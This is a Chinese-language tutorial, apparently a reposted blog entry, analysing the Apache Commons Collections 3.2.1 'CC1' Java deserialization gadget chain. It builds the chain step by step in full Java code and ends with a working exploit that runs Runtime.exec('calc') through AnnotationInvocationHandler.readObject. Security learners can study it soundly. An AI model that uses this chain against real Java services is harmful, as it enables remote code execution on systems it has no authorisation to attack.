java的CC1链分析与利用

news/2024/9/27 21:31:21

CC1链子分析

Commons Collections简介

Apache Commons Collections 是一个扩展了Java 标准库里的Collection 结构的第三方基础库,它提供了很多强有力的数据结构类型并实现了各种集合工具类。 作为Apache 开源项目的重要组件,被广泛运用于各种Java 应用的开发。

环境配置

jdk版本:jdk8u71以下,因为在该jdk版本以上这个漏洞已经被修复了

下载链接:https://www.oracle.com/cn/java/technologies/javase/javase8-archive-downloads.html

一、依赖配置

先创建一个新的maven项目:

QQ截图20240620185909

然后在文件pom.xml的中添加(这里是分析Commons Collections3.2.1版本下的一条反序列化漏洞链):

    <dependencies><dependency><groupId>commons-collections</groupId><artifactId>commons-collections</artifactId><version>3.2.1</version></dependency></dependencies>

完成后重新加载一下即可。

二、源码配置

这个也是需要配置的,因为后面会用到jdk中的一些类,而这些类是class文件,不利于我们分析,我们需要它的.java文件,这就需要下载其对应源码。

下载:https://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/af660750b2f4

点击zip下载后解压,在/src/share/classes中找到sun文件,把其复制到jdk中src.zip的解压文件

QQ截图20240620194911

然后在idea中的项目结构处加载源路径

QQ截图20240620194956

链子分析

终点类

终点类就是链子的最底端调用危险函数的地方,但这也是我们入手的地方。

接口Transformaer的tranform方法:

image-20240617171948475

然后看一下哪些类实现了该接口(IDEA中快捷键:ctrl+alt+b):

ChainedTransformer

QQ截图20240617180737

这个类中的transform方法起到个链式调用的作用,就是把前一次的输出当作后一次的输入。

ConstantTransformer

QQ截图20240617174351

可以看到该类是接受一个任意对象然后都返回一个常量,而该常量又是由构造函数控制的。

InvokerTransformer

QQ截图20240617180903

这个类中的transform方法实现了个任意方法调用(因为其中的变量可以由构造函数控制)。可以利用其构造恶意方法进行代码执行。

测试一下:

package org.example;
import org.apache.commons.collections.functors.InvokerTransformer;public class CC1test{public static void main(String[] args)throws Exception {InvokerTransformer in = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});in.transform(Runtime.getRuntime());}
}

QQ截图20240617180327

可以看到能够通过调用该类的transform方法进行恶意方法调用从而命令执行。其实就是其实现了个简单的反射功能,让我们把原本的两行写成了一行。那么这个类就是终点类了。

在正常反序列化分析思路中其实就找两个点,第一个是找哪个类中的方法有调用危险方法(终点类),第二个就是重写了readObject的类(起点类),很显然这里的InvokerTransformer是终点类。

所以接下来就是看谁调用了InvokerTransformer.transform()方法,

checkSetValue()

查找一下transform()的用法(就是看哪里调用了transform()):

QQ截图20240617202933

发现TransformedMap类的 checkSetValue()里使用了 valueTransformer调用transform(),这个valueTransformer看名字就非常可疑,感觉应该是可控的参数,跟进到TransformedMap类中:

QQ截图20240617203540

看到参数valueTransformer是保护+final属性,但发现该类的构造函数可以对valueTransformer进行赋值。

QQ截图20240617203716

可惜构造函数也是保护属性,只能自己调用。不要灰心继续找找看谁调用了该构造函数(有点像Rutime实例化的获得,不过其是私有属性)。

QQ截图20240617203911

发现是个公有静态方法可以调用。

那么现在就是可以通过调用decorate函数来进行TransformedMap类实例化从而让valueTransformer的值等于InvokerTransformer

然后就是要调用checkSetValue() 方法来实现上面InvokerTransformer中的transform()方法,但是从上面不难发现checkSetValue()是个保护属性的函数,所以又要去找找谁调用了checkSetValue()方法。

QQ截图20240617211449

setValue()

可以看到只有一个结果,跟进该类看看:

QQ截图20240617211907

是个子类里面调用的,并且它的构造方法是保护属性,setValue方法倒是公有属性,但看来是不能直接实列化来调用setValue()方法了,

但是这里查看该方法调用结果太多了,有38个结果,主要是我也看不懂怎么调用的。先直接照着师傅们的构造调用一下吧:

package org.example;import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;public class CC1test {public static void main(String[] args)throws Exception {InvokerTransformer in = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});HashMap map=new HashMap();map.put("key","value");Map<Object,Object> t= TransformedMap.decorate(map,null,in);//静态方法staic修饰直接类名+方法名调用for(Map.Entry entry : t.entrySet()){entry.setValue(Runtime.getRuntime());}}
}

运行结果:

QQ截图20240619185404

大概解释一下为什么这里entry.setValue(Runtime.getRuntime());会调用到MapEntry中的setValue方法(虽然调试一下也知道)。这里其实就是在遍历map中的键值对, 遍历的键值对也就是Map.Entry的对象entry,跟进Map会发现里面有setValue方法,子类MapEntry重写了setValue方法,它继承了AbstractMapEntryDecorator这个类,这个类中存在setValue方法,而这个类又引入了Map.Entry接口,所以我们只需要进行常用的Map遍历,就会调用setValue方法

(其实感觉就像反序列化最基础的readObject方法重写一样,为什么就一定会调用到重写readObject方法,因为序列化的对象就是这个类嘛。那么这里其实也差不多只要是涉及的是Map的遍历,调用setValue就会调用setValue。)

readObject()

但是很显然这里并不是终点链,因为还没有涉及到反序列化。所以还是得找谁调用了setValue()方法,不过通过上面的自己构造调用来看,我们要找的类里面调用setValue方法估计也是以差不多的形式来调用的。

最后在AnnotationInvocationHandle类中找到了符合条件的情况。

QQ截图20240619190410

memberValue参数可控,而且发现还在readObject方法里面,这不妥妥起点类了嘛。

QQ截图20240619192920

但发现这个构造方法前面没有public属性,那么就是default类型。在java中,default类型只能在本包进行调用。说明这个类只能在sun.reflect.annotation这个包下被调用。

我们要想在外部调用,需要用到反射来解决,进行构造:

package org.example;
import com.sun.xml.internal.ws.policy.privateutil.PolicyUtils;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;public class CC1test {public static void main(String[] args)throws Exception {InvokerTransformer in = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});HashMap map=new HashMap();map.put("key","value");Map<Object,Object> t= TransformedMap.decorate(map,null,in);//静态方法staic修饰直接类名+方法名调用Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor con=c.getDeclaredConstructor(Class.class, Map.class);con.setAccessible(true);Object obj=con.newInstance(Override.class,t);serilize(obj);deserilize("ser.bin");}public static void serilize(Object obj)throws IOException{ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("ser.bin"));out.writeObject(obj);}public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));Object obj=in.readObject();return obj; }
}

三个问题

当然这样是还调用不到setValue方法的,有两个if条件。而且就算调用了发现setVlaue参数是固定的,我们还根本没有把Runtime.getRuntime()这个参数传进去,而且Runtime.getRuntime()也不能进行序列化,因为Runtime没有序列化接口。QQ截图20240619200413

总结一下这里的几个问题:

一、Runtime的序列化

二、setValue参数的改变

三、两个if条件的绕过

解决Runtime的序列化

因为Runtime是没有反序列化接口的的,所以其不能进行反序列化,但是可以把其变回原型类class,这个是存在serilize接口的:

QQ截图20240619205805

在利用反射来调用其方法,下面是其反射调用的demo:

public class CC1test {public static void main(String[] args)throws Exception {Class c1=Runtime.class;Runtime runtime = (Runtime) c1.getMethod("getRuntime",null).invoke(null);c1.getMethod("exec",String.class).invoke(runtime,"calc");}
}

不过这种写法下面照着改InvokerTransformer.tansform调用时不好对照,所以换一种详细的写法。

public class CC1test {public static void main(String[] args)throws Exception {Class c1=Runtime.class;Method getruntime = c1.getMethod("getRuntime",null);Runtime runtime=(Runtime) getruntime.invoke(null,null);c1.getMethod("exec",String.class).invoke(runtime,"calc");}
}

然后利用InvokerTransformer.tansform来进行代替反射进行调用,因为需要InvokerTransformer.tansform来调用危险函数嘛。

import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.Method;public class CC1test {public static void main(String[] args)throws Exception {Method  getruntime=(Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);Runtime runtime=(Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getruntime);new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);}
}

分析构造,这里其实就可以把new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);看作是调用Runtime.classgetMethod方法,参数是("getRuntime",null)

剩下的如法炮制。

QQ截图20240619213221

但是这样要一个个嵌套创建参数太麻烦了(当然也必须这么改),这里我们想起上面一个Commons Collections库中存在的ChainedTransformer类,它也存在transform方法可以帮我们遍历InvokerTransformer,并且调用transform方法:

再通俗一点讲就是上面说过的会把前一次的输出当作下一次的输入,这里transform的参数也就是上一次的输出,所以非常符合当前这种情况。

构造:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;public class CC1test {public static void main(String[] args)throws Exception {Transformer[] transformers = new Transformer[]{new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),};new ChainedTransformer(transformers).transform(Runtime.class);

简单分析一下就是建立一个数组把刚刚transform函数前面不同的值储存起来待会循环调用。然后只需传入参数Runtime.class就行了。

QQ截图20240619214535

那么解决了Runtime反序列化的问题,现在先加上反序列化的代码:

package org.example;
import com.sun.xml.internal.ws.policy.privateutil.PolicyUtils;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;public class CC1test {public static void main(String[] args)throws Exception {Transformer[] transformers = new Transformer[]{new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),};ChainedTransformer cha=new ChainedTransformer(transformers);
//        cha.transform(Runtime.class);HashMap<Object,Object> map=new HashMap<>();map.put("key","aaa");Map<Object,Object> tmap=TransformedMap.decorate(map,null,cha);//静态方法调用Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor con=c.getDeclaredConstructor(Class.class, Map.class);con.setAccessible(true);Object obj=con.newInstance(Override.class,tmap); serilize(obj);deserilize("ser.bin");}public static void serilize(Object obj)throws IOException{ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("ser.bin"));out.writeObject(obj);}public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));Object obj=in.readObject();return obj;}
}

解决if条件

上面代码运行肯定是弹不了计算机的。看看调用setValue的地方:

QQ截图20240620155520

先不说setValue()方法的参数不是我们想要的,这里还有两个if条件,第一个if是要memberType != null,先看memberType是什么:

Class<?> memberType = memberTypes.get(name);

而这里的name就是键值对中的建,memberTypes:

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

这个就是注解中成员变量的名称,但是上面的Override没有成员变量。换一个注解,这里用到Target

QQ截图20240620161655

其成员变量名称是value,所以把key设为value。再次进行调试:
QQ截图20240620161832

发现第二个if直接就符合条件了,顺利来到了setValue(),不过这里还是简单分析一下第二个if条件:

就是判断value是否是memberType和ExceptionProxy类型的实例,这里value传的是aaa字符串肯定实不符和。所以直接调用到了最后一步setValue方法。

解决setValue参数

到这里在理一遍思路,先把上面的代码粘下来:

package org.example;
import com.sun.xml.internal.ws.policy.privateutil.PolicyUtils;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;public class CC1test {public static void main(String[] args)throws Exception {Transformer[] transformers = new Transformer[]{new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),};ChainedTransformer cha=new ChainedTransformer(transformers);
//        cha.transform(Runtime.class);HashMap<Object,Object> map=new HashMap<>();map.put("key","aaa");Map<Object,Object> tmap=TransformedMap.decorate(map,null,cha);//静态方法调用Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor con=c.getDeclaredConstructor(Class.class, Map.class);con.setAccessible(true);Object obj=con.newInstance(Override.class,tmap); serilize(obj);deserilize("ser.bin");}public static void serilize(Object obj)throws IOException{ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("ser.bin"));out.writeObject(obj);}public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));Object obj=in.readObject();return obj;}
}

首先是通过InvokerTransformer类的transform方法来反射调用Runtime.getRuntimeexec方法执行危险命令。

后面由于需要Runtime序列化,所以要利用Runtime.class来一步一步调用到危险函数(也就是选调用到getRuntime方法然后再调用到exec方法)所以连续用了几次InvokerTransformer类的transform方法。但是后面序列化肯定只有Runtime.class一个参数传进去,所以又利用了ChainedTransformer类。它的transform方法可以实现迭代调用transform方法,这样就只用传入Runtime.class就可以直接执行到最后的calc了(当然这是手动调用)。

然后就是利用TransformedMapcheckSetValue方法来调用ChainedTransformer类的transform,在这之前,利用TransformedMap.decorate静态方法来实现TransformedMap类的实例化主要需要调用其构造方法让参数valueTransformer的值等于ChainedTransformer,这样checkSetValue才能算是调用ChainedTransformertransform方法,

但由于这里checkSetValue是保护属性,所以又要利用MapEntry类的setValue方法来调用checkSetValue方法,由于MapEntry是个子类且其继承了Map.Entry接口可以在使用上面Map遍历的形式调用到MapEntry类的setValue方法(这是手动)

最后发现AnnotationInvocationHandler类中的readObject方法中刚好有这个Map遍历,至此到readObject就算完成了最后一个类,虽然其是defualt属性,但还是可以利用反射来达到调用。到这里只需要解决最后一个问题,就是setValue的参数问题,因为这个setValue的参数也就是最后transform的参数。

发现前面提到的类ConstantTransformer可以把接受的任何参数都返回一个常量并且常量可控。

QQ截图20240617174351

那么构造:

package org.example;
import com.sun.xml.internal.ws.policy.privateutil.PolicyUtils;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;public class CC1test {public static void main(String[] args)throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),};ChainedTransformer cha=new ChainedTransformer(transformers);
//        cha.transform(Runtime.class);HashMap<Object,Object> map=new HashMap<>();map.put("value","aaa");Map<Object,Object> tmap=TransformedMap.decorate(map,null,cha);//静态方法调用Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor con=c.getDeclaredConstructor(Class.class, Map.class);con.setAccessible(true);Object obj=con.newInstance(Target.class,tmap); //存疑serilize(obj);deserilize("ser.bin");}public static void serilize(Object obj)throws IOException{ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("ser.bin"));out.writeObject(obj);}public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));Object obj=in.readObject();return obj;}
}

这样不管setValue是什么参数当传入到最后 ChainedTransformer.transforme时会通过ConstantTransformertransforme方法返回Runtime.class固定参数,这样最后迭代一样可以执行到calc

所以这条链也就结束了,从readObject开始可以一步一步到最后恶意命令执行。

总结

主要的函数调用就是:

transform ---->checkSetValue ----> setValue ----> readObject

只是其中穿插了一些其他需要解决的问题。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/45846.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

MySQL进阶知识之存储过程、函数、流程控制、索引

【一】MySQL进阶知识之存储过程 【1】什么是存储过程 存储过程就类似于Python中的自定义函数 内部包含了一系列可以执行的SQL语句,存储过程存储在MySQL服务端中,可以通过调用存储过程触发内部的SQL语句存储过程是在关系型数据库中存储的一组预定义的SQL语句集合,可以接收参数…

MySQL进阶知识之视图、触发器、事务

【一】MySQL进阶知识之视图 【1】视图介绍 (1)什么是视图 视图就是通过查询得到一张虚拟表,然后保存下来,下次可以直接使用 视图也是一张表在计算机科学中,视图(View)是一种虚拟表,其内容是一个或多个基本表的查询结果。视图基于数据库中的数据,通过定义查询语句来构建…

免费调用微信推送接口

注册测试公众号 https://mp.weixin.qq.com/debug/cgi-bin/sandbox?t=sandbox/login 扫码开通后,将会出现后台页面,拿到这四个值appIDappsecret接受消息者,扫码拿到 openId ,也就是接受者的id号template_id模板内容固定格式,演示的content是将要推送消息的key推送消息 第一…

NOI2019 Day1

NOI2019 Day1就准备这样面对你的 NOI 吗? 问题:对拍,极限数据,构造数据。不要老觉得过了大洋里就可以万事大吉跑路了。 自己觉得写不完的东西,一定不要上来就写。 读题。读题。读题。实在改不了就每题都先写个暴力验证题意。 学会放题。一个题实在想不明白就退而求其次。保…

霍格沃茨

11111 be convinced 被动。 深信 , 当时; overactive 过分积极。 过于天马行空,异想天开; 怪癖 quirk mortgage 按揭贷款 , 不足以陌生 scuttled off down 小碎步跑 ; 比喻; 最后奔向了古典学; 比喻最后的选择。2008 哈佛毕业典礼 flown academi…

当蓝牙键盘连不上电脑:一次意外的debug之旅

故事是真的,文章是 chatgpt写的,正文开始: 博主:大家好,今天我想和大家分享一个关于蓝牙键盘的小故事。有时候,即使是最简单的设备,也可能给我们带来意想不到的挑战。 读者:嗨,听起来挺有趣的。发生了什么事? 博主:最近,我换了台新电脑,我把旧电脑的东西都迁移过去…

Hive怎么调整优化Tez引擎的查询?在Tez上优化Hive查询的指南

在Tez上优化Hive查询无法采用一刀切的方法。查询性能取决于数据的大小、文件类型、查询设计和查询模式。在性能测试过程中,应评估和验证配置参数及任何SQL修改。建议在工作负载的性能测试过程中一次只进行一项更改,并最好在开发环境中评估调优更改的影响,然后再在生产环境中…

【代码】--库函数学习 ftp通信 相关

1. FTP介绍(1)主动模式(PORT): 服务器主动去连接客户端的数据端口(2)被动模式(PASV): 客户端主动去连接服务器的数据端口ftp客户端通信流程(编程流程)如下:1. 客户端用账号、密码进行登录。 2. 提交主动模式还是被动模式。 3. 如果是被动模式,需要去连接服务器开…